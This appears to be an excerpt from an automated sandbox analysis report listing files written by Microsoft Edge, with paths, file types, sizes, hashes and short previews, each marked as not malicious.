Entropy (8bit):	5.247501745251124
Encrypted:	false
SSDEEP:	6:HApFmcSCa+q2P923oH+TcwtfrK+IFUt8YApFmcSCeZmw+YApFmcSRQVkwO923oHK:gHfa+v4Yeb23FUt87Hfe/+7HiQV5LYet
MD5:	3314AF1666F36241538CFDD79C58419D
SHA1:	C559D7D5F4EED41716ACE21524DE7C966C02C769
SHA-256:	0F39FB6F681D4872CFB81662D445BEDC893B4C02E62C38295548446CAC7CB475
SHA-512:	898EF6E21214D1D2F14D4588ACA76EE3C9CE3BBC6226719B98E49245288F226BCEFA82C6B70CC67B36320F4316475C59763606213F1FA0CCAA72082A63B0804C
Malicious:	false
Preview:	2024/11/25-12:28:25.973 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-12:28:25.973 1d7c Recovering log #3.2024/11/25-12:28:25.974 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.245794082025549
Encrypted:	false
SSDEEP:	6:HApFmcf9N+q2P923oH+TcwtfrzAdIFUt8YApFmcoPXZmw+YApFmcoP3VkwO923o/:gHH+v4Yeb9FUt87HoP/+7HoPV5LYeb2J
MD5:	07C8841DEF10657BC918573ED699F646
SHA1:	F08566FD96DF97FAC39C72EAF7C19C0C8656DE94
SHA-256:	4C08E7696FA880AA066C13FCB5C84A4BAEE95059DA0289CC6278B88DFF246CD5
SHA-512:	6F060CA01C7A1534232C4A26E32D28D3A0CABBDB699A91E6FC8E06EBB2CCB65C646522A5E58899C7CF1751EFD1B53A62D2A47C5BD57A09E365B0ADBDAA3F911A
Malicious:	false
Preview:	2024/11/25-12:28:25.967 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-12:28:25.968 1d7c Recovering log #3.2024/11/25-12:28:25.968 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.245794082025549
Encrypted:	false
SSDEEP:	6:HApFmcf9N+q2P923oH+TcwtfrzAdIFUt8YApFmcoPXZmw+YApFmcoP3VkwO923o/:gHH+v4Yeb9FUt87HoP/+7HoPV5LYeb2J
MD5:	07C8841DEF10657BC918573ED699F646
SHA1:	F08566FD96DF97FAC39C72EAF7C19C0C8656DE94
SHA-256:	4C08E7696FA880AA066C13FCB5C84A4BAEE95059DA0289CC6278B88DFF246CD5
SHA-512:	6F060CA01C7A1534232C4A26E32D28D3A0CABBDB699A91E6FC8E06EBB2CCB65C646522A5E58899C7CF1751EFD1B53A62D2A47C5BD57A09E365B0ADBDAA3F911A
Malicious:	false
Preview:	2024/11/25-12:28:25.967 1d7c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-12:28:25.968 1d7c Recovering log #3.2024/11/25-12:28:25.968 1d7c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3780f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3781f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF379d4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3a0c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3eace.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF48aa8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4e82a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090714238076498
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM1wuF9hDO6vP6O+gtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEd69tbz8hu3VlXr4CRo1
MD5:	8C0D7199EDE1F9CB357685AC4834F24D
SHA1:	7F45D6405D3305966F2D7DA56F3DC6C50BDCC69D
SHA-256:	2DC4B45AE86B797E6562C6AAE6344E887F3D4D7507F5CFA7E45740050AFA8CF0
SHA-512:	CB30DC201A6E4FCDAE3C2A9A291B1F033AB93033893FC0593E306D9EA8E08109DC0AF38B3F682B4021CC4018184B076B13ECEF7AF2A31D98892A65DC6EFF2089
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

